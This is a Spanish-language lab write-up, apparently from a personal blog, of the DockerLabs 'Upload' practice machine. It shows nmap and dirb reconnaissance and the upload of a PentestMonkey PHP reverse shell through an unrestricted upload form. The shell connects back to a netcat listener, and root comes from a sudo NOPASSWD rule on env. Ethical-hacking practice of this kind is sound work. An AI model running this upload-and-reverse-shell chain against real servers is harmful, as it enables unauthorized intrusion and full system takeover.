Post

Upload

DockerLabs es una plataforma gratuita diseñada para practicar hacking ético al alcance de todo el mundo utilizando Docker. DockerLabs ofrece un entorno seguro y accesible para desplegar laboratorios vulnerables de la forma más eficiente y sencilla posible.

Upload

Information Gathering

El análisis inicial comienza con el comando ping para confirmar la accesibilidad de la máquina objetivo en la red.

1
2
3
4
5
6
7
/home/kali/Documents/dockerlabs/upload:-$ ping -c 1 172.17.0.3                       
PING 172.17.0.3 (172.17.0.3) 56(84) bytes of data.
64 bytes from 172.17.0.3: icmp_seq=1 ttl=64 time=0.066 ms

--- 172.17.0.3 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.066/0.066/0.066/0.000 ms

Realizo un escaneo agresivo de puertos con nmap, lo que me permite identificar rápidamente todos los puertos abiertos.

1
2
3
/home/kali/Documents/dockerlabs/upload:-$ nmap -p- --open -sS --min-rate 5000 -vvv 172.17.0.3 -n -Pn -oG nmap1
Host: 172.17.0.3 ()	Status: Up
Host: 172.17.0.3 ()	Ports: 80/open/tcp//http///	Ignored State: closed (65534)

Profundizo en los puertos detectados, recopilando información detallada sobre los servicios y versiones en ejecución.

1
2
3
4
5
6
7
8
/home/kali/Documents/dockerlabs/upload:-$ nmap -sCV -vvv -p80 172.17.0.3 -oN nmap2
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Upload here your file
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
MAC Address: DE:6E:DF:98:83:32 (Unknown)
1
2
/home/kali/Documents/dockerlabs/upload:-$ whatweb 172.17.0.3
http://172.17.0.3 [200 OK] Apache[2.4.52], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[172.17.0.3], Title[Upload here your file]

Web Analysis & Vulnerability Exploitation

El servicio web en el puerto 80 presenta un único formulario funcional, que permite subir archivos al servidor Apache. El formulario acepta archivos .php, lo que sugiere una posible vía de ejecución remota de código si el archivo es accesible públicamente.

Realizo un escaneo de rutas, lo que permite descubrir el directorio /uploads/, el cual está expuesto y accesible.

1
2
3
4
5
/home/kali/Documents/dockerlabs/upload:-$ dirb http://172.17.0.3/
---- Scanning URL: http://172.17.0.3/ ----
+ http://172.17.0.3/index.html (CODE:200|SIZE:1361)
+ http://172.17.0.3/server-status (CODE:403|SIZE:275)
==> DIRECTORY: http://172.17.0.3/uploads/

Descargó la reverse shell de PentestMonkey, modifico la IP y puerto y subo el archivo mediante el formulario.

1
/home/kali/Documents/dockerlabs/upload:-$ wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php -O shell.php

Luego de subir la shell, y acceder a /uploads/ se puede ver que el archivo aparece listado correctamente.

Con esto definido, inicio un listener con netcat.

1
2
/home/kali/Documents/dockerlabs/upload:-$ nc -lnvp 4321
	listening on [any] 4321 ...

Y ejecutó la reverse shell desde la treminal con curl. Esto me otorga acceso remoto con permisos del usuario www-data.

1
2
3
4
5
6
/home/kali/Documents/dockerlabs/upload:-$ curl http://172.17.0.3/uploads/shell.php

	... connect to [172.17.0.1] from (UNKNOWN) [172.17.0.3] 46044

www-data@07b83fa8d21f:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation

Para mejorar la interacción, restauro el entorno interactivo para mejorar la visibilidad y control de la shell.

1
2
3
4
5
6
7
8
9
www-data@07b83fa8d21f:/$ script /dev/null -c bash
www-data@07b83fa8d21f:/$ ^Z
home/kali/Documents/dockerlabs/upload:-$ stty raw -echo;fg
[2]  + continued  nc -nvlp 4321
				reset xterm

www-data@07b83fa8d21f:/$ export TERM=xterm
www-data@07b83fa8d21f:/$ export SHELL=bash
www-data@07b83fa8d21f:/$ stty rows 36 columns 138

Consulto el archivo /etc/passwd para identificar otros usuarios del sistema, los cuales poseen shells válidos.

1
2
www-data@07b83fa8d21f:/$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash

Los permisos sudo, revelan que el binario /usr/bin/env puede ejecutarse como root sin necesidad de contraseña.

1
2
3
4
5
6
www-data@07b83fa8d21f:/$ sudo -l
Matching Defaults entries for www-data on 07b83fa8d21f:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User www-data may run the following commands on 07b83fa8d21f:
    (root) NOPASSWD: /usr/bin/env

Tal como se documenta en GTFObins. Esta configuración permite escalar privilegios a root mediante una shell directa con env.

1
2
3
4
www-data@07b83fa8d21f:/$ sudo env /bin/bash

root@07b83fa8d21f:/# id
uid=0(root) gid=0(root) groups=0(root)
This post is licensed under CC BY 4.0 by the author.